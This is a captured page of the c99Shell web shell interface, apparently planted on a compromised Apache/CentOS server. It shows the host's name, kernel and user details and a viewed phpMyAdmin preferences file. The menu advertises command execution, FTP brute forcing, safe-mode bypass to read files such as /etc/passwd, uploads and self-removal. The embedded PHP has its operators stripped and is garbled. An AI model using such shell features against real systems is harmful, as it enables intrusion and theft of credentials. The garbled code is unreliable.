!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/   drwxrwxrwx
Free 51.23 GB of 127.8 GB (40.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     prefs_forms.php (2.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * User preferences page
 *
 * @package phpMyAdmin
 */

/**
 * Gets some core libraries and displays a top message if required
 */
require_once './libraries/common.inc.php';
require_once 
'./libraries/user_preferences.lib.php';
require_once 
'./libraries/config/config_functions.lib.php';
require_once 
'./libraries/config/messages.inc.php';
require_once 
'./libraries/config/ConfigFile.class.php';
require_once 
'./libraries/config/Form.class.php';
require_once 
'./libraries/config/FormDisplay.class.php';
require 
'./libraries/config/user_preferences.forms.php';

PMA_userprefs_pageinit();

// handle form processing

$form_param filter_input(INPUT_GET'form');
if (!isset(
$forms[$form_param])) {
    
$forms_keys array_keys($forms);
    
$form_param array_shift($forms_keys);
}

$form_display = new FormDisplay();
foreach (
$forms[$form_param] as $form_name => $form) {
    
// skip Developer form if no setting is available
    
if ($form_name == 'Developer' && !$GLOBALS['cfg']['UserprefsDeveloperTab']) {
        continue;
    }
    
$form_display->registerForm($form_name$form1);
}

if (isset(
$_POST['revert'])) {
    
// revert erroneous fields to their default values
    
$form_display->fixErrors();
    
// redirect
    
$url_params = array('form' => $form_param);
    
PMA_sendHeaderLocation($cfg['PmaAbsoluteUri'] . 'prefs_forms.php'
            
PMA_generate_common_url($url_params'&'));
    exit;
}

$error null;
if (
$form_display->process(false) && !$form_display->hasErrors()) {
    
// save settings
    
$old_settings PMA_load_userprefs();
    
$result PMA_save_userprefs(ConfigFile::getInstance()->getConfigArray());
    if (
$result === true) {
        
// reload config
        
$GLOBALS['PMA_Config']->loadUserPreferences();
        
$hash ltrim(filter_input(INPUT_POST'tab_hash'), '#');
        
PMA_userprefs_redirect($forms$old_settings'prefs_forms.php', array(
            
'form' => $form_param), $hash);
        exit;
    } else {
        
$error $result;
    }
}

// display forms
$GLOBALS['js_include'][] = 'config.js';
require 
'./libraries/header.inc.php';
require 
'./libraries/user_preferences.inc.php';
if (
$error) {
    
$error->display();
}
if (
$form_display->hasErrors()) {
    
// form has errors
    
?>
    <div class="error config-form">
        <b><?php echo __('Cannot save settings, submitted form contains errors'?></b>
        <?php $form_display->displayErrors(); ?>
    </div>
    <?php
}
$form_display->display(truetrue);

/**
 * Displays the footer
 */
require './libraries/footer.inc.php';
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0148 ]--